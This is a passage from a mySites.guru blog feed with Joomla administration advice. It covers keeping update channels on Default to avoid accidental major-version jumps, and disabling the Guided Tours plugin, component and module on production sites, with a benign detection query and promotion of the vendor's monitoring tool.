&lt;p&gt;For intentional major version upgrades: when you’ve verified your &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;server meets the requirements&lt;/a&gt;, confirmed your extensions are compatible, tested on a staging site, and taken a full backup, switching to the Joomla Next channel is the right way to perform the upgrade.&lt;/p&gt;
&lt;p&gt;For dedicated migration projects: if you’re working through a batch of &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Joomla 4 to Joomla 5 migrations&lt;/a&gt;, or Joomla 5 to Joomla 6, you’ll use the Joomla Next channel on each site during the upgrade window.&lt;/p&gt;
&lt;p&gt;Either way: &lt;strong&gt;switch back to Default the moment the upgrade is done.&lt;/strong&gt; Don’t leave it for later. Don’t assume you’ll remember. Set it back to Default as the final step of every major version upgrade.&lt;/p&gt;
&lt;h2&gt;How does the Joomla update channel affect end-of-life versions?&lt;/h2&gt;
&lt;p&gt;Update channels become even more relevant when a Joomla version reaches &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt;. When Joomla 4 reached its end-of-life date, sites still running Joomla 4 stopped receiving security updates through the Default channel. Some administrators then switched to the Joomla Next channel thinking it would give them “the latest updates” without realising it would offer Joomla 5 as the update.&lt;/p&gt;
&lt;p&gt;This creates a dangerous situation: an administrator trying to get security patches for an EOL version inadvertently triggers a major version upgrade. The site jumps to Joomla 5, extensions break, and the administrator is worse off than before.&lt;/p&gt;
&lt;p&gt;The correct approach for &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life Joomla versions&lt;/a&gt; is to plan a proper migration, not to change the update channel hoping for patches. mySites.guru clearly flags sites running end-of-life versions and tracks the update channel separately, so you always know which sites need migration attention and which are safely configured.&lt;/p&gt;
&lt;h2&gt;What are the common mistakes with Joomla update channels?&lt;/h2&gt;
&lt;h3&gt;Copying configuration between sites&lt;/h3&gt;
&lt;p&gt;If you use a staging or template site to spin up new Joomla installations, check the update channel on that template. Whatever is set on the template gets inherited by every new site. If your template site was last used for a major version upgrade test and still has the Joomla Next channel enabled, every site you spin up from it will have the same misconfiguration.&lt;/p&gt;
&lt;h3&gt;Tutorials that don’t mention switching back&lt;/h3&gt;
&lt;p&gt;Plenty of Joomla upgrade tutorials explain how to switch to the Joomla Next channel but don’t mention switching back afterward. Some end at “congratulations, your site is now on Joomla X” without mentioning the update channel at all. If you followed a tutorial to upgrade one of your sites, go back and check the channel setting now.&lt;/p&gt;
&lt;h3&gt;Assuming “it only affects the next update”&lt;/h3&gt;
&lt;p&gt;Some administrators know their channel is set to Joomla Next but think it’s fine because they’ll “just not click Update” next time a major version appears. This is fragile. It relies on whoever checks for updates knowing the difference between a patch and a major version jump, and reading the version number carefully every single time. On a Monday morning with fifty sites to update, that’s a bad bet.&lt;/p&gt;
&lt;h3&gt;Not auditing after team changes&lt;/h3&gt;
&lt;p&gt;When team members join or leave, their access to Joomla admin panels may change, but their past configuration changes remain. A developer who changed the update channel while testing something may have left the organisation months ago, and the setting sits there waiting. Automated monitoring catches this kind of configuration drift that manual reviews miss.&lt;/p&gt;
&lt;h2&gt;A practical Joomla update channel checklist&lt;/h2&gt;
&lt;p&gt;Whether you manage one Joomla site or a thousand, the same steps apply:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit all sites now.&lt;/strong&gt; Check the update channel on every Joomla site you manage. With mySites.guru, this is visible at a glance on the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; page. Without it, you’ll need to log into each site individually.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set every production site to Default.&lt;/strong&gt; No exceptions. If a site is live and serving users, its update channel should be Default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Only switch channels temporarily.&lt;/strong&gt; When you need the Joomla Next channel for a planned migration, enable it, perform the upgrade, and disable it immediately. Treat it like scaffolding: put it up, use it, take it down.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitor continuously.&lt;/strong&gt; A one-time audit isn’t enough. Settings change, team members make adjustments, and tutorials give bad advice. Use automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot monitoring&lt;/a&gt; to catch changes as they happen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Keep backups current.&lt;/strong&gt; Even with the right channel, things can go wrong. Make sure your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedules&lt;/a&gt; are running and that you’ve tested a restore at least once.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check automated core updates too.&lt;/strong&gt; Joomla 5.4+ and 6.0 introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; that can apply patches without admin interaction. Even with the right update channel, a site with automated updates enabled can still update itself at an inconvenient time. Audit both settings together. The right channel also cannot protect you from a bad release: 5.4.7 and 6.1.2 both shipped a core regression that &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;makes Joomla ignore every Option set on an article&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Document your migration process.&lt;/strong&gt; Write down the steps for a major version upgrade, including the step where you switch the channel back to Default. Make it part of the procedure, not an afterthought.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Configuration management at scale&lt;/h2&gt;
&lt;p&gt;The update channel is one setting on one component in Joomla. But it’s a good example of how a small misconfiguration can cause real damage when you’re managing dozens or hundreds of sites.&lt;/p&gt;
&lt;p&gt;mySites.guru applies the same approach here as it does with &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;PHP version tracking&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version monitoring&lt;/a&gt;: monitor automatically, flag deviations, and provide remote fixes.&lt;/p&gt;
&lt;p&gt;If you’re managing multiple Joomla sites and haven’t checked your update channels recently, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see what mySites.guru finds across your connected sites.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt; &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt; - &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/&quot;&gt;Joomla getting started guide&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;hr /&gt;
&lt;p&gt;Read more about safe upgrade strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>updates</category><category>joomla</category><category>update channel</category><category>version management</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-prevent-accidental-joomla-version-jumps.png" length="0" type="image/png"/></item><item><title>How to Find and Disable the Guided Tours Plugin on Your Joomla Sites</title><link>https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</guid><description>Joomla Guided Tours wastes resources on live sites. Why you should disable it in production and how mySites.guru handles it automatically.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 4.3.0 introduced the Guided Tours feature: a system plugin, a component and an administrator module that between them walk administrators through common tasks with interactive step-by-step overlays. Tours highlight buttons and fields, show explanatory tooltips, and guide you through workflows like creating an article or configuring user settings. We check whether &lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/guided-tours-plugin/&quot;&gt;it is still enabled&lt;/a&gt; on every connected site.&lt;/p&gt;
&lt;p&gt;It’s a thoughtful addition for people learning Joomla. But on production sites managed by experienced administrators, it’s dead weight.&lt;/p&gt;
&lt;p&gt;I’ll cover what the feature actually does under the hood, why all three of its extensions belong disabled on live sites, how to switch them off manually, and how &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; flags them automatically across all your connected Joomla sites.&lt;/p&gt;
&lt;h2&gt;What Does the Joomla Guided Tours Plugin Do?&lt;/h2&gt;
&lt;p&gt;The Guided Tours system (&lt;code&gt;plg_system_guidedtours&lt;/code&gt;) is a system plugin that loads on every page of the Joomla admin panel. It consists of several parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The system plugin&lt;/strong&gt; - hooks into every admin page load to inject the tour JavaScript and CSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The tours component&lt;/strong&gt; (&lt;code&gt;com_guidedtours&lt;/code&gt;) - stores and manages tour definitions in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The administrator module&lt;/strong&gt; (&lt;code&gt;mod_guidedtours&lt;/code&gt;) - the Guided Tours dropdown in the admin toolbar&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tour step definitions&lt;/strong&gt; - JSON-based step sequences that target specific DOM elements on admin pages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The frontend overlay&lt;/strong&gt; - the actual interactive UI that highlights elements and shows instructional text&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the plugin is enabled, Joomla loads the tour framework on every single admin page request, regardless of whether anyone is actually running a tour. The JavaScript waits in the background, ready to activate when a user starts a tour from the admin menu.&lt;/p&gt;
&lt;p&gt;Joomla ships with several built-in tours covering tasks like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How to create an article&lt;/li&gt;
&lt;li&gt;How to create a menu and menu items&lt;/li&gt;
&lt;li&gt;How to create a category&lt;/li&gt;
&lt;li&gt;How to configure global settings&lt;/li&gt;
&lt;li&gt;How to manage users and user groups&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extension developers can also create their own tours to introduce users to their extension’s features. The system is extensible by design.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Joomla Guided Tours overlay showing a step-by-step walkthrough of the admin dashboard header&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 611px) 611px, 100vw&quot; width=&quot;611&quot; height=&quot;322&quot; src=&quot;https://mysites.guru/_astro/joomla-guided-tours-example.2CkFJaZq_2h5IBG.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-guided-tours-example.2CkFJaZq_2h5IBG.webp 611w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;When Does Joomla Guided Tours Make Sense?&lt;/h2&gt;
&lt;p&gt;There are legitimate scenarios where leaving the Guided Tours plugin enabled is the right call:&lt;/p&gt;
&lt;h3&gt;Training new team members&lt;/h3&gt;
&lt;p&gt;If you’re onboarding new administrators who haven’t used Joomla before, the guided tours provide a structured introduction without needing someone to sit beside them. They can work through the tours at their own pace and get familiar with where things are.&lt;/p&gt;
&lt;h3&gt;Development and staging environments&lt;/h3&gt;
&lt;p&gt;On development or staging sites where you’re building out the admin experience, you might want tours enabled to test them or to understand the admin workflows from a new user’s perspective.&lt;/p&gt;
&lt;h3&gt;Custom client onboarding&lt;/h3&gt;
&lt;p&gt;If you build Joomla sites for clients and hand over the admin panel, some agencies create custom guided tours that walk clients through the specific workflows they need - publishing blog posts, managing products, or updating contact information. In this case, the tours are part of the deliverable.&lt;/p&gt;
&lt;h3&gt;Extension developers testing tours&lt;/h3&gt;
&lt;p&gt;If you’re developing a Joomla extension and building guided tours for it, you obviously need the plugin enabled during development and testing.&lt;/p&gt;
&lt;h2&gt;Why Should You Disable It on Production Sites?&lt;/h2&gt;
&lt;p&gt;For the vast majority of production Joomla sites, the Guided Tours plugin should be disabled.&lt;/p&gt;
&lt;h3&gt;Unnecessary resource loading&lt;/h3&gt;
&lt;p&gt;Every time an administrator loads any page in the Joomla admin panel, the Guided Tours plugin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Executes its PHP system plugin code during the &lt;code&gt;onAfterDispatch&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;Injects JavaScript files for the tour engine&lt;/li&gt;
&lt;li&gt;Injects CSS for the tour overlay styling&lt;/li&gt;
&lt;li&gt;Loads tour definitions from the database&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This happens on &lt;strong&gt;every admin page load&lt;/strong&gt;, not just when someone clicks “Start Tour.” The JavaScript sits idle in the browser, consuming memory and adding to the page’s script evaluation time.&lt;/p&gt;
&lt;p&gt;The overhead on a single page load is small, but admin sessions involve dozens or hundreds of page loads, across multiple administrators, and it adds up to wasted bandwidth and processing time for functionality no one is using.&lt;/p&gt;
&lt;h3&gt;Admin interface clutter&lt;/h3&gt;
&lt;p&gt;With the component enabled, a “Guided Tours” entry appears in the administrator menu under System, and a matching tile sits on the System dashboard. The plugin is what puts the “Start Tour” button in the toolbar on views that have a tour. For experienced administrators, these are visual noise - one more thing to scroll past, one more menu entry that serves no purpose.&lt;/p&gt;
&lt;h3&gt;Increased attack surface&lt;/h3&gt;
&lt;p&gt;The Guided Tours plugin doesn’t have a known vulnerability today. But minimising your attack surface matters regardless.&lt;/p&gt;
&lt;p&gt;Every enabled plugin is code that runs on every request. If a security flaw turns up in any of them, every site with that plugin enabled is exposed. The Joomla security team has a good track record, but reducing active plugins to only what you need is basic hardening.&lt;/p&gt;
&lt;p&gt;This is the same logic behind disabling other unused Joomla features. If you’re not using it, turn it off. If a &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;vulnerability is found in a component you’re running&lt;/a&gt;, you want to already have the smallest possible footprint.&lt;/p&gt;
&lt;h3&gt;It’s a solved problem for experienced admins&lt;/h3&gt;
&lt;p&gt;Once you know how to create an article in Joomla, you don’t need an interactive overlay to show you where the “New” button is. The guided tours are designed for first-time users. By the time you’re deploying sites to production, you’re past that stage.&lt;/p&gt;
&lt;p&gt;The same applies to your team. If they need guided tours to do their daily work, they need training - not a plugin running on a production server.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours Manually?&lt;/h2&gt;
&lt;p&gt;Disabling the plugin through the Joomla admin panel is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to your Joomla admin panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System&lt;/strong&gt; in the sidebar menu&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Plugins&lt;/strong&gt; under the &lt;strong&gt;Manage&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Search for “Guided Tours” in the search box&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;System - Guided Tours&lt;/strong&gt; to open the plugin&lt;/li&gt;
&lt;li&gt;Set the &lt;strong&gt;Status&lt;/strong&gt; to &lt;strong&gt;Disabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Alternatively, you can toggle the status directly from the plugin list by clicking the green checkmark icon next to the plugin name to change it to a red X.&lt;/p&gt;
&lt;p&gt;You can verify it worked by checking that no tour-related JavaScript loads on admin pages and that no tour starts when you open the Home Dashboard.&lt;/p&gt;
&lt;h2&gt;What About the Guided Tours Component and Module?&lt;/h2&gt;
&lt;p&gt;The plugin is one of three extensions, not the whole feature. Joomla has shipped Guided Tours as a plugin, a component and an administrator module since 4.3.0, and a fresh install arrives with all three enabled:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;What it is&lt;/th&gt;&lt;th&gt;What it puts in front of you&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;plg_system_guidedtours&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The system plugin&lt;/td&gt;&lt;td&gt;Nothing visible. This is the part that actually starts a tour&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;com_guidedtours&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The component&lt;/td&gt;&lt;td&gt;The Guided Tours entry in the administrator menu and the tile on the Home Dashboard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;mod_guidedtours&lt;/code&gt;&lt;/td&gt;&lt;td&gt;The administrator module&lt;/td&gt;&lt;td&gt;The Guided Tours dropdown in the admin toolbar&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Disabling the plugin stops every tour from running, which is why it has always been the fix that matters. What it leaves behind is the menu entry, the dashboard tile and, in principle, the toolbar dropdown, all pointing at a feature that no longer does anything.&lt;/p&gt;
&lt;h3&gt;Disabling all three&lt;/h3&gt;
&lt;p&gt;Joomla lets you switch off all three from one screen, because none of them is a protected extension. In the &lt;code&gt;#__extensions&lt;/code&gt; table the &lt;code&gt;protected&lt;/code&gt; flag on the plugin, the component and the module is &lt;code&gt;0&lt;/code&gt;, which is exactly what puts a Disable button in front of a Super User on Extensions: Manage:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System&lt;/strong&gt; in the sidebar menu&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Extensions&lt;/strong&gt; under the &lt;strong&gt;Manage&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Search for “Guided Tours”&lt;/li&gt;
&lt;li&gt;Tick the plugin, the component and the module&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Disable&lt;/strong&gt; in the toolbar&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All three now read Disabled, the menu entry and the Home Dashboard tile disappear on the next admin page load, and nothing starts a tour.&lt;/p&gt;
&lt;p&gt;The module flag makes no visible difference on its own, for what it is worth. &lt;code&gt;mod_guidedtours&lt;/code&gt; has checked whether the plugin is enabled since 4.3.0, so the toolbar dropdown already disappears the moment the plugin is off. Switch it off anyway, so that Extensions: Manage reads Disabled across the board and a colleague turning one thing back on cannot resurrect half the feature.&lt;/p&gt;
&lt;p&gt;Disable them, never uninstall them. All three are flagged &lt;code&gt;locked&lt;/code&gt; in the extensions table, which blocks uninstall while leaving disable perfectly available, and there is no reason to go deleting core Joomla files.&lt;/p&gt;
&lt;h3&gt;The one combination to avoid on Joomla 5.2 and later&lt;/h3&gt;
&lt;div&gt;
  &lt;p&gt;Never disable the &lt;code&gt;com_guidedtours&lt;/code&gt; component while leaving the &lt;code&gt;plg_system_guidedtours&lt;/code&gt; plugin enabled. On Joomla 5.2 and later, that single combination is worse for your admins than leaving Guided Tours completely alone.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla 5.2.0 moved the call that records a tour as skipped, dismissed or completed. Up to 5.1 it went through &lt;code&gt;com_ajax&lt;/code&gt;; from 5.2 it goes to the component itself.&lt;/p&gt;
&lt;p&gt;The plugin never checks whether the component is enabled. So with the component off and the plugin on, tours still start exactly as before, but the dismiss button now has nowhere to save to. The request 404s, the admin gets “Something went wrong while saving tour state information!”, the dismissal is never recorded, and the same tour opens again on the next admin page load, and the one after that, indefinitely.&lt;/p&gt;
&lt;p&gt;You can reach that state without meaning to. Disable all three, then re-enable the plugin some months later from the Plugins manager because someone wanted a tour back, and you are in it. If the plugin goes back on, the component goes back on with it.&lt;/p&gt;
&lt;h3&gt;Your tour content is untouched either way&lt;/h3&gt;
&lt;p&gt;Disabling extensions writes to &lt;code&gt;#__extensions&lt;/code&gt; and nothing else. Your tour content lives in &lt;code&gt;#__guidedtours&lt;/code&gt; and &lt;code&gt;#__guidedtour_steps&lt;/code&gt;, and both are left alone. Re-enable the three and you get back precisely what you had, including tours that arrived with a third-party extension and any you wrote yourself.&lt;/p&gt;
&lt;h3&gt;The manual approach doesn’t scale&lt;/h3&gt;
&lt;p&gt;If you manage one Joomla site, the above takes a minute. If you manage ten sites, it’s most of an afternoon coffee break spent on repetitive clicking. If you manage fifty or a hundred sites, you’re spending a meaningful amount of time logging into admin panels just to switch off the same unused feature on each one.&lt;/p&gt;
&lt;p&gt;And that’s just the initial disable. What about after Joomla updates? What about new sites you add to your portfolio? What about sites where a well-meaning administrator re-enables it?&lt;/p&gt;
&lt;p&gt;The manual approach requires you to remember to check this setting on every site, every time. That’s exactly the kind of repetitive, error-prone task that should be automated.&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects Guided Tours&lt;/h2&gt;
&lt;p&gt;mySites.guru checks the Guided Tours status as part of its &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot process&lt;/a&gt;. Every time a snapshot runs on a connected Joomla site (version 4.3.0 or later), the connector reads all three extension rows in one query:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; element, folder, &lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; #__extensions&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;plugin&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; AND&lt;/span&gt;&lt;span&gt; folder &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; AND&lt;/span&gt;&lt;span&gt; element &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;guidedtours&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;component&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; AND&lt;/span&gt;&lt;span&gt; element &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;com_guidedtours&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   OR&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;module&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; AND&lt;/span&gt;&lt;span&gt; element &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;mod_guidedtours&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those three rows are then reported as a single state. Three separate ticks and crosses would tell you less than one answer to the question you actually have, which is whether Guided Tours is still running on this production site and whether it is running in a way that will irritate whoever logs in next.&lt;/p&gt;
&lt;p&gt;This check runs automatically. You don’t need to remember to look for it. The snapshot result appears in the Extension Information section alongside other plugin checks, showing you at a glance whether Guided Tours needs attention.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The Guided Tours check is part of mySites.guru&apos;s broader &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt; for Joomla sites. It sits alongside checks for debug mode, error reporting, post-installation messages, and other configuration items that should be tightened on production sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;What the snapshot shows&lt;/h3&gt;
&lt;p&gt;In the mySites.guru dashboard, the Guided Tours check appears in the Extension Information section of your site’s snapshot. You’ll see one of four states:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OK&lt;/strong&gt; - all three extensions are disabled and there is nothing to do&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue&lt;/strong&gt; - the plugin is still enabled, so tours still run on this production site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tidy&lt;/strong&gt; - the plugin is off, so nothing can start a tour, but the component or the module is still enabled and still showing your admins a menu entry or a dashboard tile for a feature that no longer does anything&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Broken&lt;/strong&gt; - the plugin is enabled and the component is disabled. On Joomla 5.2 and later that is the combination which leaves tours starting with no way to dismiss them, so it is the one to fix first&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The check also tracks changes between snapshots. If everything was disabled on the last snapshot and the plugin is now back on (perhaps after a Joomla update or someone re-enabling it), the trend indicator shows the change so you can catch configuration drift immediately.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Once the snapshot has flagged Guided Tours on a site, whichever of the four states it reports, you have two ways to fix it.&lt;/p&gt;
&lt;h3&gt;From the site snapshot&lt;/h3&gt;
&lt;p&gt;Click on the Guided Tours check in the Extension Information section. mySites.guru shows you the current state and provides a toggle to enable or disable Guided Tours remotely. Click the toggle, and the connector updates all three extension rows in the Joomla database in a single statement, so the site can never be left half done in the broken combination above. It also clears the Joomla caches that would otherwise go on showing the menu entry and the dashboard tile. No need to log into the Joomla admin panel.&lt;/p&gt;
&lt;p&gt;The toggle works in both directions. If you need to temporarily re-enable Guided Tours (for training, testing, or onboarding), you can turn it back on from the same interface and disable it again when you’re done, and because all three move together you never end up with the plugin on and the component off.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The Extension Information section of a mySites.guru snapshot showing the Guided Tours check with a toggle to disable the plugin&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2032px) 2032px, 100vw&quot; width=&quot;2032&quot; height=&quot;686&quot; src=&quot;https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_20cQ05.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_ZDu4jD.webp 640w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_ZA3Yyt.webp 750w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_twBzL.webp 828w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_ZbaVS9.webp 1080w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_2bN4QW.webp 1280w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_2qR9IN.webp 1668w, https://mysites.guru/_astro/joomla-guided-tours-snapshot-toggle.BYsGfI0Q_20cQ05.webp 2032w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is the same pattern used for other Joomla configuration toggles, like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;hiding post-installation messages&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;From the all-sites tool view&lt;/h3&gt;
&lt;p&gt;For managing the Guided Tours plugin across your entire portfolio, the all-sites tool view is more efficient. This view lists every connected Joomla site (4.3.0+) and shows the Guided Tours plugin status for each one.&lt;/p&gt;
&lt;p&gt;From this single screen you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See which sites have the plugin enabled and which have it disabled&lt;/li&gt;
&lt;li&gt;Sort and filter to find sites that need attention&lt;/li&gt;
&lt;li&gt;Toggle the plugin on or off for individual sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you’ve just connected a batch of new Joomla sites to mySites.guru, the all-sites view lets you quickly scan for the Guided Tours plugin and disable it everywhere it shouldn’t be running.&lt;/p&gt;
